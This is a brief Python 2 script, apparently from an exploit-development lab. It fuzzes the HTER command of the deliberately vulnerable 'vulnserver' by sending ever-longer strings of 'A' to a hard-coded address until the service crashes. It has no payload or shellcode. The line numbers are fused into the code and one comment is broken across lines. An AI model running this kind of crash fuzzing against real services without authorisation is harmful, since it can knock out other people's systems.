1import socket
2ip = "194.168.1.154"
3port = 9999
4numAs = 10
5
6try:
7 while True:
8 # open a connection to vulnserver
9 s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
10 s.connect ((ip, port))
11 # receive the banner for vulnserver
12 s.recv (1024)
13 print "[*] Sending " + str(numAs) + " As"
14 # send the number of As to fuzz the HTER command
15 s.send ("HTER " + "A" * numAs + " \r\n")
16 # receive the response from vulnserver
17 s.recv (1024)
18 # close the connection
19 s.close ()
20 # increase the number of As we send next time
21 numAs += 10
22except:
23 # if we get to here then something happened to vulnserver because the
24 connection is closed
25 print "Socket closed after sending " + str(numAs - 10) + " As"